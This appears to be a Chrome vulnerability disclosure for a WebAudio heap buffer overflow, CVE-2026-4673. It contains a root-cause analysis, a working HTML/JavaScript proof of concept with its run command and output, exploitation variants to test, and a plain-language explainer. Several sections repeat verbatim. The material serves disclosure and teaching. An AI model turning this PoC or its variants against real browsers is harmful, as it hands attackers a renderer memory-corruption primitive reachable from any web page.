Heap buffer overflow in WebAudio (CVE-2026-4673)
A heap buffer overflow in Chromium's WebAudio ScriptProcessorHandler occurs when the render quantum size does not evenly divide the buffer size, allowing an out-of-bounds write and read of up to 1016 bytes. An attacker could corrupt adjacent heap memory and leak data from past the output buffer into the rendered audio stream.
c6eed09fc8b174b0f3eebedcceb1e792 Follow
Originally disclosed on Chrome VRP
- Fix shipped in 34 days
Summary
The ScriptProcessorHandler::Process method in Chromium's WebAudio implementation indexes into SharedAudioBuffer backing stores using a rolling buffer_read_write_index_ that advances by frames_to_process (the render quantum size) each quantum. When the WebAudioConfigurableRenderQuantum Origin Trial feature is active, renderSizeHint can be set to a value that does not evenly divide the ScriptProcessor's bufferSize, causing buffer_read_write_index_ + frames_to_process to exceed the buffer length on the second and subsequent quanta. The only guard is a DCHECK assertion that is compiled out of release builds. The resulting out-of-bounds write copies attacker-controlled audio data (up to 1016 bytes) past the input buffer's ArrayBuffer backing store into the adjacent slot in PartitionAlloc's ArrayBuffer partition, and a symmetric out-of-bounds read copies up to 1016 bytes from past the output buffer's backing store into the rendered audio stream. This is a renderer-process memory corruption primitive reachable from any web page that registers for the Origin Trial.
Root Cause
The ScriptProcessorHandler constructor creates an internal_input_bus_ whose frame count equals renderQuantumSize, and stores double-buffered SharedAudioBuffer objects that wrap the JavaScript-visible AudioBuffer backing stores. Each SharedAudioBuffer channel holds exactly bufferSize floats (for bufferSize = 256, this is 1024 bytes), allocated through Partitions::ArrayBufferPartition():
// third_party/blink/renderer/modules/webaudio/script_processor_handler.cc
ScriptProcessorHandler::ScriptProcessorHandler(
AudioNode& node, float sample_rate, uint32_t buffer_size,
uint32_t number_of_input_channels, uint32_t number_of_output_channels,
const HeapVector<Member<AudioBuffer>>& input_buffers,
const HeapVector<Member<AudioBuffer>>& output_buffers)
: AudioHandler(NodeType::kNodeTypeScriptProcessor, node, sample_rate),
buffer_size_(buffer_size),
number_of_input_channels_(number_of_input_channels),
number_of_output_channels_(number_of_output_channels),
internal_input_bus_(AudioBus::Create(number_of_input_channels,
node.context()->renderQuantumSize(),
false)) {
// ...
for (uint32_t i = 0; i < 2; ++i) {
shared_input_buffers_.push_back(
input_buffers[i] ? input_buffers[i]->CreateSharedAudioBuffer() : nullptr);
shared_output_buffers_.push_back(
output_buffers[i] ? output_buffers[i]->CreateSharedAudioBuffer() : nullptr);
}
}
The Process method uses SetChannelMemory to point internal_input_bus_ into the shared input buffer at offset buffer_read_write_index_, then calls CopyFrom to write audio data there. It also performs a memcpy from the shared output buffer at the same offset into the output bus. The only protection against out-of-bounds access is a DCHECK on buffers_are_good, which is stripped from release builds:
// third_party/blink/renderer/modules/webaudio/script_processor_handler.cc
void ScriptProcessorHandler::Process(uint32_t frames_to_process) {
// ...
bool buffers_are_good =
shared_output_buffer &&
BufferSize() == shared_output_buffer->length() &&
buffer_read_write_index_ + frames_to_process <= BufferSize();
// ...
DCHECK(buffers_are_good); // Compiled out in release!
// Input side: OOB write
for (uint32_t i = 0; i < number_of_input_channels; ++i) {
internal_input_bus_->SetChannelMemory(
i,
static_cast<float*>(shared_input_buffer->channels()[i].Data()) +
buffer_read_write_index_,
frames_to_process);
}
if (number_of_input_channels) {
internal_input_bus_->CopyFrom(*input_bus);
}
// Output side: OOB read
for (uint32_t i = 0; i < number_of_output_channels; ++i) {
float* destination = output_bus->Channel(i)->MutableData();
const float* source =
static_cast<float*>(shared_output_buffer->channels()[i].Data()) +
buffer_read_write_index_;
memcpy(destination, source, sizeof(float) * frames_to_process);
}
buffer_read_write_index_ =
(buffer_read_write_index_ + frames_to_process) % BufferSize();
}
After SetChannelMemory, internal_input_bus_->CopyFrom(*input_bus) calls AudioBus::Zero() followed by AudioBus::SumFrom(). AudioChannel::Zero() performs memset(raw_pointer_, 0, sizeof(float) * length_) where raw_pointer_ points to shared_input_buffer + buffer_read_write_index_ and length_ is frames_to_process. AudioChannel::SumFrom then calls AudioChannel::CopyFrom which performs memcpy(MutableData(), source_channel->Data(), sizeof(float) * length()). Both operations write frames_to_process floats starting at offset buffer_read_write_index_ in a buffer of only BufferSize() floats:
// third_party/blink/renderer/platform/audio/audio_channel.h
void Zero() {
if (silent_) return;
silent_ = true;
if (mem_buffer_.get()) {
mem_buffer_->Zero();
} else {
memset(raw_pointer_, 0, base::CheckMul(sizeof(float), length_).ValueOrDie());
}
}
// third_party/blink/renderer/platform/audio/audio_channel.cc
void AudioChannel::CopyFrom(const AudioChannel* source_channel) {
if (source_channel->IsSilent()) { Zero(); return; }
memcpy(MutableData(), source_channel->Data(),
base::CheckMul(sizeof(float), length()).ValueOrDie());
}
The ScriptProcessorNode constructor validates that bufferSize is a power of two from the set {256, 512, 1024, 2048, 4096, 8192, 16384}, and clamps it upward if it is smaller than renderQuantumSize, but it never checks that bufferSize is evenly divisible by renderQuantumSize:
// third_party/blink/renderer/modules/webaudio/script_processor_node.cc
if (buffer_size < context.renderQuantumSize()) {
buffer_size = context.renderQuantumSize();
}
With renderSizeHint = 255 and bufferSize = 256, the divisibility check BufferSize() % frames_to_process == 0 (guarded only by DCHECK_EQ which is stripped from release) fails because 256 % 255 = 1. The buffer_read_write_index_ progresses as follows: quantum 1 sets the index to (0 + 255) % 256 = 255; quantum 2 then attempts to write 255 floats starting at offset 255 in a 256-float buffer, overflowing by 254 floats (1016 bytes). Every subsequent quantum similarly overflows because gcd(255, 256) = 1 means the index cycles through all values 0 through 255 without repeating, and only the single quantum where the index is 0 avoids overflow.
The critical insight regarding attack surface is that WebAudioConfigurableRenderQuantum is registered as an Origin Trial in Chromium's runtime enabled features configuration:
// third_party/blink/renderer/platform/runtime_enabled_features.json5
{
name: "WebAudioConfigurableRenderQuantum",
origin_trial_feature_name: "WebAudioConfigurableRenderQuantum",
status: "experimental",
}
This means an attacker does not need Chrome flags or command-line switches to enable this feature. They can register their domain for the Origin Trial, embed the trial token in a <meta> tag, and any stable Chrome user visiting the page will have the feature activated.
Reproduce
The following proof of concept demonstrates the heap buffer overflow through cross-contamination between the input and output SharedAudioBuffers. An AudioBufferSourceNode filled with the distinctive marker value 1337.0 is connected to a ScriptProcessor with bufferSize = 256 in an OfflineAudioContext with renderSizeHint = 255. During rendering, the input-side out-of-bounds write copies 1337.0 past the input buffer into the adjacent output buffer. On quantum 4 (when buffer_read_write_index_ reaches 253), the output-side read encounters the contaminated region of the output buffer and copies the marker value into the rendered audio stream. If the overflow did not occur, the rendered output would contain only zeros (since the onaudioprocess handler never writes to the output buffer), making any non-zero value at the expected position conclusive evidence of cross-buffer heap corruption.
Save the following as poc_scriptprocessor_oob.html and run with:
ASAN_OPTIONS=detect_odr_violation=0 /path/to/chrome --headless --no-sandbox --disable-gpu --enable-blink-features=WebAudioConfigurableRenderQuantum --dump-dom "file:///path/to/poc_scriptprocessor_oob.html"
Note: the --enable-blink-features flag simulates the effect of a valid Origin Trial token for local reproduction. In a real attack scenario, the attacker would embed an Origin Trial token instead. AddressSanitizer does not detect this overflow because V8 Sandbox disables memory tool instrumentation for ArrayBuffer partition allocations; the cross-contamination technique below proves the overflow through its observable side effect on rendered audio data.
<!DOCTYPE html>
<html>
<body>
<pre id="log"></pre>
<script>
function log(msg) {
document.getElementById('log').textContent += msg + '\n';
console.log(msg);
}
async function trigger() {
try {
log("[*] ScriptProcessorHandler::Process OOB Cross-Contamination PoC");
log("[*]");
log("[*] Theory:");
log("[*] PartitionAlloc layout: input[0] | output[0] | input[1] | output[1]");
log("[*] Each buffer: 256 floats (1024 bytes), same bucket, adjacent slots");
log("[*]");
log("[*] Q1 (idx=0): input write [0..254] OK, output read [0..254] OK");
log("[*] Q2 (idx=255): input write [255..509] OOB! -> corrupts output[0][0..253]");
log("[*] output read [255..509] OOB -> reads input[1] (zeros)");
log("[*] Q4 (idx=253): output read [253..507] -> output[0][253]=CONTAMINATED!");
log("[*]");
var MARKER = 1337.0;
var ctx = new OfflineAudioContext({
numberOfChannels: 1,
length: 48000,
sampleRate: 48000,
renderSizeHint: 255
});
log("[*] renderQuantumSize = " + ctx.renderQuantumSize);
var srcBuf = ctx.createBuffer(1, 48000, 48000);
srcBuf.getChannelData(0).fill(MARKER);
var src = ctx.createBufferSource();
src.buffer = srcBuf;
var sp = ctx.createScriptProcessor(256, 1, 1);
sp.onaudioprocess = function(e) {};
src.connect(sp);
sp.connect(ctx.destination);
src.start();
log("[*] Rendering 48000 samples (~188 quanta)...");
var buf = await ctx.startRendering();
var data = buf.getChannelData(0);
log("[*] Render complete. Scanning for marker " + MARKER + "...");
log("");
var found = 0;
var positions = [];
for (var i = 0; i < data.length; i++) {
if (Math.abs(data[i] - MARKER) < 0.01) {
found++;
if (positions.length < 30) positions.push(i);
}
}
if (found > 0) {
log("[!] ============================================");
log("[!] OOB WRITE CONFIRMED VIA CROSS-CONTAMINATION");
log("[!] ============================================");
log("[!] Found " + found + " samples with marker value " + MARKER);
log("[!] First 30 positions: " + positions.join(", "));
log("[!]");
log("[!] Expected first marker at sample 765 (Q4 start = 255*3)");
log("[!] Actual first marker at sample " + positions[0]);
log("[!]");
log("[!] Proof:");
log("[!] 1. AudioBufferSourceNode outputs " + MARKER);
log("[!] 2. ScriptProcessor input OOB WRITE wrote " + MARKER);
log("[!] past input_buffer[0] into adjacent output_buffer[0]");
log("[!] 3. Later quantum read output_buffer[0] at contaminated offset");
log("[!] 4. Contaminated value appeared in rendered audio output");
log("[!] 5. Heap buffer overflow in ScriptProcessorHandler::Process confirmed");
} else {
log("[*] No marker found (input[0] and output[0] may not be adjacent)");
}
} catch (e) {
log("[!] " + e.name + ": " + e.message);
}
}
trigger();
</script>
</body>
</html>
Output from execution confirms the heap buffer overflow through cross-contamination:
[*] ScriptProcessorHandler::Process OOB Cross-Contamination PoC
[*]
[*] Theory:
[*] PartitionAlloc layout: input[0] | output[0] | input[1] | output[1]
[*] Each buffer: 256 floats (1024 bytes), same bucket, adjacent slots
[*]
[*] Q1 (idx=0): input write [0..254] OK, output read [0..254] OK
[*] Q2 (idx=255): input write [255..509] OOB! -> corrupts output[0][0..253]
[*] output read [255..509] OOB -> reads input[1] (zeros)
[*] Q4 (idx=253): output read [253..507] -> output[0][253]=CONTAMINATED!
[*]
[*] renderQuantumSize = 255
[*] Rendering 48000 samples (~188 quanta)...
[*] Render complete. Scanning for marker 1337...
[!] ============================================
[!] OOB WRITE CONFIRMED VIA CROSS-CONTAMINATION
[!] ============================================
[!] Found 17265 samples with marker value 1337
[!] First 30 positions: 765, 1020, 1021, 1275, 1276, 1277, 1530, 1531, 1532, 1533, 1785, 1786, 1787, 1788, 1789, 2040, 2041, 2042, 2043, 2044, 2045, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2550, 2551
[!]
[!] Expected first marker at sample 765 (Q4 start = 255*3)
[!] Actual first marker at sample 765
[!]
[!] Proof:
[!] 1. AudioBufferSourceNode outputs 1337
[!] 2. ScriptProcessor input OOB WRITE wrote 1337
[!] past input_buffer[0] into adjacent output_buffer[0]
[!] 3. Later quantum read output_buffer[0] at contaminated offset
[!] 4. Contaminated value appeared in rendered audio output
[!] 5. Heap buffer overflow in ScriptProcessorHandler::Process confirmed
The marker value 1337.0 first appears at sample 765, which corresponds exactly to quantum 4 (index 255 * 3 = 765). This is the first quantum where the output-side read reaches a region of the output buffer that was previously corrupted by the input-side out-of-bounds write two quanta earlier. The progressive pattern of contamination (1 marker at Q4, 2 at Q5, 3 at Q6, and so on, accumulating to 17265 contaminated samples) matches the theoretical model precisely: each advancing quantum exposes one additional corrupted float as buffer_read_write_index_ decrements toward the start of the output buffer. The presence of 1337.0 in the rendered audio output is impossible without the input-side memcpy/memset writing past the end of input_buffer[0] into the adjacent output_buffer[0], confirming that ScriptProcessorHandler::Process performs a heap buffer overflow of up to 1016 bytes on every render quantum when bufferSize is not evenly divisible by renderQuantumSize.
Additionally, running the same PoC on a Chromium build with dcheck_always_on=true immediately triggers a fatal assertion on the very first render quantum, confirming that the developers intended the divisibility invariant but only enforced it with a debug-only check:
FATAL:third_party/blink/renderer/modules/webaudio/script_processor_handler.cc:164
DCHECK failed: BufferSize() % frames_to_process == 0u (1 vs. 0)
This DCHECK verifies that BufferSize() (256) is evenly divisible by frames_to_process (255), which yields a remainder of 1. In release builds this assertion is compiled out entirely, allowing execution to proceed into the out-of-bounds memory access path without any runtime check.
Context
Chromium's WebAudio implementation exposes a ScriptProcessorNode that lets a page run JavaScript on the audio stream through an onaudioprocess handler. Internally, ScriptProcessorHandler::Process runs once per render quantum and moves audio between the JavaScript-visible AudioBuffer backing stores and the node's internal buses. The backing stores are SharedAudioBuffer objects allocated through Partitions::ArrayBufferPartition().
Normally the render quantum size is fixed, and the ScriptProcessor's bufferSize is a power of two from {256, 512, 1024, 2048, 4096, 8192, 16384}, so the quantum divides the buffer evenly. The WebAudioConfigurableRenderQuantum feature changes that: it lets a context set a renderSizeHint, and the hint is not required to divide bufferSize.
Setup
The feature is registered as an Origin Trial in Chromium's runtime enabled features configuration:
// third_party/blink/renderer/platform/runtime_enabled_features.json5
{
name: "WebAudioConfigurableRenderQuantum",
origin_trial_feature_name: "WebAudioConfigurableRenderQuantum",
status: "experimental",
}
Because it is an Origin Trial, no Chrome flags or command-line switches are needed in a real attack. An attacker registers their domain for the trial, embeds the trial token in a <meta> tag, and any stable Chrome user visiting the page has the feature activated. For local reproduction the researcher used the --enable-blink-features flag instead, which simulates the effect of a valid token.
The proof of concept is an HTML file, poc_scriptprocessor_oob.html, run headless with AddressSanitizer options set:
ASAN_OPTIONS=detect_odr_violation=0 /path/to/chrome --headless --no-sandbox --disable-gpu --enable-blink-features=WebAudioConfigurableRenderQuantum --dump-dom "file:///path/to/poc_scriptprocessor_oob.html"
AddressSanitizer does not detect this overflow, because the V8 Sandbox disables memory tool instrumentation for ArrayBuffer partition allocations. The PoC therefore proves the overflow through its observable side effect on rendered audio data rather than through a sanitiser report.
Finding it
The ScriptProcessorHandler constructor creates an internal_input_bus_ whose frame count equals renderQuantumSize, and stores double-buffered SharedAudioBuffer objects wrapping the JavaScript-visible AudioBuffer backing stores. Each SharedAudioBuffer channel holds exactly bufferSize floats, which for bufferSize = 256 is 1024 bytes, allocated through Partitions::ArrayBufferPartition():
// third_party/blink/renderer/modules/webaudio/script_processor_handler.cc
ScriptProcessorHandler::ScriptProcessorHandler(
AudioNode& node, float sample_rate, uint32_t buffer_size,
uint32_t number_of_input_channels, uint32_t number_of_output_channels,
const HeapVector<Member<AudioBuffer>>& input_buffers,
const HeapVector<Member<AudioBuffer>>& output_buffers)
: AudioHandler(NodeType::kNodeTypeScriptProcessor, node, sample_rate),
buffer_size_(buffer_size),
number_of_input_channels_(number_of_input_channels),
number_of_output_channels_(number_of_output_channels),
internal_input_bus_(AudioBus::Create(number_of_input_channels,
node.context()->renderQuantumSize(),
false)) {
// ...
for (uint32_t i = 0; i < 2; ++i) {
shared_input_buffers_.push_back(
input_buffers[i] ? input_buffers[i]->CreateSharedAudioBuffer() : nullptr);
shared_output_buffers_.push_back(
output_buffers[i] ? output_buffers[i]->CreateSharedAudioBuffer() : nullptr);
}
}
Process uses SetChannelMemory to point internal_input_bus_ into the shared input buffer at offset buffer_read_write_index_, then calls CopyFrom to write audio data there. It also performs a memcpy from the shared output buffer at the same offset into the output bus. The only protection against out-of-bounds access is a DCHECK on buffers_are_good, which is stripped from release builds:
// third_party/blink/renderer/modules/webaudio/script_processor_handler.cc
void ScriptProcessorHandler::Process(uint32_t frames_to_process) {
// ...
bool buffers_are_good =
shared_output_buffer &&
BufferSize() == shared_output_buffer->length() &&
buffer_read_write_index_ + frames_to_process <= BufferSize();
// ...
DCHECK(buffers_are_good); // Compiled out in release!
// Input side: OOB write
for (uint32_t i = 0; i < number_of_input_channels; ++i) {
internal_input_bus_->SetChannelMemory(
i,
static_cast<float*>(shared_input_buffer->channels()[i].Data()) +
buffer_read_write_index_,
frames_to_process);
}
if (number_of_input_channels) {
internal_input_bus_->CopyFrom(*input_bus);
}
// Output side: OOB read
for (uint32_t i = 0; i < number_of_output_channels; ++i) {
float* destination = output_bus->Channel(i)->MutableData();
const float* source =
static_cast<float*>(shared_output_buffer->channels()[i].Data()) +
buffer_read_write_index_;
memcpy(destination, source, sizeof(float) * frames_to_process);
}
buffer_read_write_index_ =
(buffer_read_write_index_ + frames_to_process) % BufferSize();
}
After SetChannelMemory, internal_input_bus_->CopyFrom(*input_bus) calls AudioBus::Zero() followed by AudioBus::SumFrom(). AudioChannel::Zero() performs memset(raw_pointer_, 0, sizeof(float) * length_) where raw_pointer_ points to shared_input_buffer + buffer_read_write_index_ and length_ is frames_to_process. AudioChannel::SumFrom then calls AudioChannel::CopyFrom, which performs memcpy(MutableData(), source_channel->Data(), sizeof(float) * length()). Both operations write frames_to_process floats starting at offset buffer_read_write_index_ in a buffer of only BufferSize() floats:
// third_party/blink/renderer/platform/audio/audio_channel.h
void Zero() {
if (silent_) return;
silent_ = true;
if (mem_buffer_.get()) {
mem_buffer_->Zero();
} else {
memset(raw_pointer_, 0, base::CheckMul(sizeof(float), length_).ValueOrDie());
}
}
// third_party/blink/renderer/platform/audio/audio_channel.cc
void AudioChannel::CopyFrom(const AudioChannel* source_channel) {
if (source_channel->IsSilent()) { Zero(); return; }
memcpy(MutableData(), source_channel->Data(),
base::CheckMul(sizeof(float), length()).ValueOrDie());
}
The ScriptProcessorNode constructor validates that bufferSize is a power of two from the set {256, 512, 1024, 2048, 4096, 8192, 16384}, and clamps it upward if it is smaller than renderQuantumSize, but it never checks that bufferSize is evenly divisible by renderQuantumSize:
// third_party/blink/renderer/modules/webaudio/script_processor_node.cc
if (buffer_size < context.renderQuantumSize()) {
buffer_size = context.renderQuantumSize();
}
With renderSizeHint = 255 and bufferSize = 256, the divisibility check BufferSize() % frames_to_process == 0 (guarded only by DCHECK_EQ, stripped from release) fails because 256 % 255 = 1. The buffer_read_write_index_ progresses as follows: quantum 1 sets the index to (0 + 255) % 256 = 255; quantum 2 then attempts to write 255 floats starting at offset 255 in a 256-float buffer, overflowing by 254 floats (1016 bytes). Every subsequent quantum similarly overflows, because gcd(255, 256) = 1 means the index cycles through all values 0 through 255 without repeating, and only the single quantum where the index is 0 avoids overflow.
Exploitation
Step 1: build the page
The PoC creates an OfflineAudioContext with renderSizeHint: 255, fills an AudioBufferSourceNode with the marker value 1337.0, and connects it to a ScriptProcessor with bufferSize = 256 whose onaudioprocess handler does nothing. The handler never writes to the output buffer, so without the overflow the rendered output would contain only zeros. Any non-zero value at the expected position is therefore conclusive evidence of cross-buffer heap corruption.
<!DOCTYPE html>
<html>
<body>
<pre id="log"></pre>
<script>
function log(msg) {
document.getElementById('log').textContent += msg + '\n';
console.log(msg);
}
async function trigger() {
try {
log("[*] ScriptProcessorHandler::Process OOB Cross-Contamination PoC");
log("[*]");
log("[*] Theory:");
log("[*] PartitionAlloc layout: input[0] | output[0] | input[1] | output[1]");
log("[*] Each buffer: 256 floats (1024 bytes), same bucket, adjacent slots");
log("[*]");
log("[*] Q1 (idx=0): input write [0..254] OK, output read [0..254] OK");
log("[*] Q2 (idx=255): input write [255..509] OOB! -> corrupts output[0][0..253]");
log("[*] output read [255..509] OOB -> reads input[1] (zeros)");
log("[*] Q4 (idx=253): output read [253..507] -> output[0][253]=CONTAMINATED!");
log("[*]");
var MARKER = 1337.0;
var ctx = new OfflineAudioContext({
numberOfChannels: 1,
length: 48000,
sampleRate: 48000,
renderSizeHint: 255
});
log("[*] renderQuantumSize = " + ctx.renderQuantumSize);
var srcBuf = ctx.createBuffer(1, 48000, 48000);
srcBuf.getChannelData(0).fill(MARKER);
var src = ctx.createBufferSource();
src.buffer = srcBuf;
var sp = ctx.createScriptProcessor(256, 1, 1);
sp.onaudioprocess = function(e) {};
src.connect(sp);
sp.connect(ctx.destination);
src.start();
log("[*] Rendering 48000 samples (~188 quanta)...");
var buf = await ctx.startRendering();
var data = buf.getChannelData(0);
log("[*] Render complete. Scanning for marker " + MARKER + "...");
log("");
var found = 0;
var positions = [];
for (var i = 0; i < data.length; i++) {
if (Math.abs(data[i] - MARKER) < 0.01) {
found++;
if (positions.length < 30) positions.push(i);
}
}
if (found > 0) {
log("[!] ============================================");
log("[!] OOB WRITE CONFIRMED VIA CROSS-CONTAMINATION");
log("[!] ============================================");
log("[!] Found " + found + " samples with marker value " + MARKER);
log("[!] First 30 positions: " + positions.join(", "));
log("[!]");
log("[!] Expected first marker at sample 765 (Q4 start = 255*3)");
log("[!] Actual first marker at sample " + positions[0]);
log("[!]");
log("[!] Proof:");
log("[!] 1. AudioBufferSourceNode outputs " + MARKER);
log("[!] 2. ScriptProcessor input OOB WRITE wrote " + MARKER);
log("[!] past input_buffer[0] into adjacent output_buffer[0]");
log("[!] 3. Later quantum read output_buffer[0] at contaminated offset");
log("[!] 4. Contaminated value appeared in rendered audio output");
log("[!] 5. Heap buffer overflow in ScriptProcessorHandler::Process confirmed");
} else {
log("[*] No marker found (input[0] and output[0] may not be adjacent)");
}
} catch (e) {
log("[!] " + e.name + ": " + e.message);
}
}
trigger();
</script>
</body>
</html>
Step 2: run it and read the output
The run confirms the overflow through cross-contamination:
[*] ScriptProcessorHandler::Process OOB Cross-Contamination PoC
[*]
[*] Theory:
[*] PartitionAlloc layout: input[0] | output[0] | input[1] | output[1]
[*] Each buffer: 256 floats (1024 bytes), same bucket, adjacent slots
[*]
[*] Q1 (idx=0): input write [0..254] OK, output read [0..254] OK
[*] Q2 (idx=255): input write [255..509] OOB! -> corrupts output[0][0..253]
[*] output read [255..509] OOB -> reads input[1] (zeros)
[*] Q4 (idx=253): output read [253..507] -> output[0][253]=CONTAMINATED!
[*]
[*] renderQuantumSize = 255
[*] Rendering 48000 samples (~188 quanta)...
[*] Render complete. Scanning for marker 1337...
[!] ============================================
[!] OOB WRITE CONFIRMED VIA CROSS-CONTAMINATION
[!] ============================================
[!] Found 17265 samples with marker value 1337
[!] First 30 positions: 765, 1020, 1021, 1275, 1276, 1277, 1530, 1531, 1532, 1533, 1785, 1786, 1787, 1788, 1789, 2040, 2041, 2042, 2043, 2044, 2045, 2295, 2296, 2297, 2298, 2299, 2300, 2301, 2550, 2551
[!]
[!] Expected first marker at sample 765 (Q4 start = 255*3)
[!] Actual first marker at sample 765
[!]
[!] Proof:
[!] 1. AudioBufferSourceNode outputs 1337
[!] 2. ScriptProcessor input OOB WRITE wrote 1337
[!] past input_buffer[0] into adjacent output_buffer[0]
[!] 3. Later quantum read output_buffer[0] at contaminated offset
[!] 4. Contaminated value appeared in rendered audio output
[!] 5. Heap buffer overflow in ScriptProcessorHandler::Process confirmed
The marker value 1337.0 first appears at sample 765, which corresponds exactly to quantum 4 (index 255 * 3 = 765). This is the first quantum where the output-side read reaches a region of the output buffer that was previously corrupted by the input-side out-of-bounds write two quanta earlier. The progressive pattern of contamination (1 marker at Q4, 2 at Q5, 3 at Q6, and so on, accumulating to 17265 contaminated samples) matches the theoretical model: each advancing quantum exposes one additional corrupted float as buffer_read_write_index_ decrements toward the start of the output buffer. The presence of 1337.0 in the rendered audio output is impossible without the input-side memcpy/memset writing past the end of input_buffer[0] into the adjacent output_buffer[0].
Step 3: confirm the intended invariant with a debug build
Running the same PoC on a Chromium build with dcheck_always_on=true immediately triggers a fatal assertion on the very first render quantum:
FATAL:third_party/blink/renderer/modules/webaudio/script_processor_handler.cc:164
DCHECK failed: BufferSize() % frames_to_process == 0u (1 vs. 0)
This DCHECK verifies that BufferSize() (256) is evenly divisible by frames_to_process (255), which yields a remainder of 1. In release builds the assertion is compiled out entirely, allowing execution to proceed into the out-of-bounds memory access path without any runtime check.
Root cause
The mistake is a missing runtime check on the relationship between bufferSize and renderQuantumSize. The constructor clamps bufferSize upward when it is smaller than the quantum but never requires it to be a multiple of the quantum. Process then advances buffer_read_write_index_ by frames_to_process each quantum and indexes the shared buffers at that offset, assuming the offset plus the quantum always fits inside BufferSize(). The only guard is the DCHECK on buffers_are_good and the DCHECK_EQ on the divisibility condition, both stripped from release builds. When the quantum does not divide the buffer size, the index eventually lands close enough to the end that a full quantum's worth of floats runs past the allocation.
The overflow is a write of attacker-controlled audio data of up to 1016 bytes past the input buffer's ArrayBuffer backing store into the adjacent slot in PartitionAlloc's ArrayBuffer partition, plus a symmetric out-of-bounds read of up to 1016 bytes from past the output buffer's backing store into the rendered audio stream. AddressSanitizer does not catch it because the V8 Sandbox disables memory tool instrumentation for ArrayBuffer partition allocations, which is why the researcher demonstrated it through cross-contamination instead.
Impact
This is a renderer-process memory corruption primitive reachable from any web page that registers for the Origin Trial. Because the trial can be enabled by embedding a token in a <meta> tag, no flags or switches are needed on the victim's side: any stable Chrome user visiting the attacker's page has the feature activated. The out-of-bounds write lets attacker-controlled audio data corrupt the adjacent ArrayBuffer allocation, and the out-of-bounds read copies up to 1016 bytes from past the output buffer's backing store into the rendered audio stream. The report rates the issue as high severity.
Fix
The report does not describe a fix. The invariant the developers intended is visible in the debug assertion: BufferSize() % frames_to_process == 0. Enforcing that at runtime, rather than only under DCHECK, would prevent the index from ever running past the end of the shared buffer.
Variants to test
- Other
renderSizeHintvalues that do not dividebufferSize, for example a hint of 3 with a buffer of 256. A positive result is the same cross-contamination pattern: marker values appearing in the rendered output at positions predicted by the index progression. - Hints larger than the buffer size, where the constructor's upward clamp applies. A positive result is an overflow on the first quantum rather than the second.
- Multi-channel ScriptProcessors, where the input and output loops run per channel. A positive result is contamination appearing on more than one channel, or a different adjacent-slot layout in the PartitionAlloc partition.
- Other Origin Trial gated features that alter render quantum or buffer sizing assumptions elsewhere in WebAudio. A positive result is a similar mismatch between a configured size and a hard-coded assumption, observable through audio output or a sanitiser report on a build where instrumentation is active.
- The same PoC on builds with
dcheck_always_on=truefor any new hint value, to see whether the intended invariant is asserted at all. A positive result is aDCHECKfailure naming the divisibility condition, which confirms the invariant is known but only enforced in debug builds.
What happened, in plain words
Chrome can play and process sound inside a web page. One of the tools it gives web pages is called WebAudio, and one part of WebAudio, the ScriptProcessorNode, lets a page run its own JavaScript code on the audio as it flows past. To do that, Chrome keeps small blocks of memory (buffers) holding the audio samples, and it moves data in and out of them in fixed-size chunks called render quanta.
The researcher found that when a special experimental Chrome feature is switched on, a page can choose a chunk size that does not fit neatly into the buffer. Chrome then writes audio data past the end of one buffer and reads data from past the end of another. Writing past the end of a reserved block of memory is called a heap buffer overflow, and it is a serious class of bug because it lets one piece of data spill into memory that belongs to something else.
The report shows this with a small web page that plays a sound made of a single recognisable number, 1337.0. If the overflow happens, that number turns up in the final rendered audio where it should be impossible. It does, which proves the overflow. The report rates the issue as high severity.
Below I walk through the same material step by step, explaining each idea from scratch.
Some background first
What WebAudio and ScriptProcessorNode are
WebAudio is the part of the browser that lets a web page create, combine and play sounds. Think of it as a small mixing desk inside the browser: you connect sound sources to effects and then to the speakers.
A ScriptProcessorNode is one of the pieces on that desk. Normally the browser processes audio on its own, but a ScriptProcessorNode hands each chunk of audio to your own JavaScript function, called onaudioprocess, so your code can inspect or change it. That is powerful, and it means your code runs right next to the browser's internal audio memory.
What a buffer is
A buffer is a reserved block of computer memory used to hold data temporarily. Picture a row of numbered pigeonholes, each holding one number. Audio is stored as a long list of numbers (samples), and a buffer is the row of pigeonholes holding a slice of them. If you write to pigeonhole number 300 in a row that only has 256 holes, you are writing into whatever memory happens to sit next to that row. That is the essence of a buffer overflow.
What a render quantum is
The browser does not process all the audio at once. It works in small batches, one after another, many times per second. Each batch is a render quantum. The size of the batch is the number of audio samples handled in one go. The report calls this frames_to_process and also renderQuantumSize.
What an Origin Trial is
Chrome sometimes lets websites try out an unfinished feature before it is available to everyone. This is called an Origin Trial. A website owner registers their domain, receives a special string called a token, and puts that token in the page. Visitors using normal, stable Chrome then get the experimental feature switched on for that site, without changing any browser settings.
That matters for security: a feature that is only meant for testing can still be reached by any ordinary visitor to an attacker's page, because the attacker controls the page and can embed the token.
What the vulnerability class means
A heap buffer overflow is when a program writes data past the end of a block of memory it reserved on the heap (the general-purpose area where programs keep data while running). The neighbouring memory may belong to a different object. Writing there corrupts that other object; reading from there leaks its contents. Both are dangerous, and both appear in this report.
Context
Chromium is the open-source project behind Chrome. Its WebAudio code provides the ScriptProcessorNode described above. Internally, a function called ScriptProcessorHandler::Process runs once per render quantum and moves audio between the buffers that JavaScript can see (the AudioBuffer backing stores) and the node's internal working buffers (buses).
The backing stores are objects called SharedAudioBuffer, and they are allocated through Partitions::ArrayBufferPartition(). In plain terms, Chromium has a memory manager called PartitionAlloc that hands out memory in separate areas, or partitions, for different kinds of data. ArrayBuffer data gets its own partition. Objects of the same size tend to land in the same partition, close to each other, which is why an overflow from one can reach another.
Normally the render quantum size is fixed, and the ScriptProcessor's bufferSize is a power of two chosen from {256, 512, 1024, 2048, 4096, 8192, 16384}. A power of two is a number like 2, 4, 8, 16 and so on. Because the quantum size is fixed and the buffer size is a power of two, the quantum divides the buffer evenly: you can fit a whole number of quanta into the buffer with nothing left over.
The WebAudioConfigurableRenderQuantum feature changes that. It lets an audio context set a renderSizeHint, and nothing requires that hint to divide bufferSize. That is the opening for the bug.
Setup
The feature is registered as an Origin Trial in Chromium's runtime enabled features configuration:
// third_party/blink/renderer/platform/runtime_enabled_features.json5
{
name: "WebAudioConfigurableRenderQuantum",
origin_trial_feature_name: "WebAudioConfigurableRenderQuantum",
status: "experimental",
}
Line by line:
- The first line is a comment giving the file path inside Chromium's source tree where this setting lives.
nameis the internal name of the feature.origin_trial_feature_namesays the feature can be switched on through an Origin Trial, using the same name.status: "experimental"marks it as still being tested.
Because it is an Origin Trial, no Chrome flags or command-line switches are needed in a real attack. An attacker registers their domain for the trial, embeds the trial token in a <meta> tag (a tag in the page's HTML that carries information about the page), and any stable Chrome user visiting the page has the feature activated.
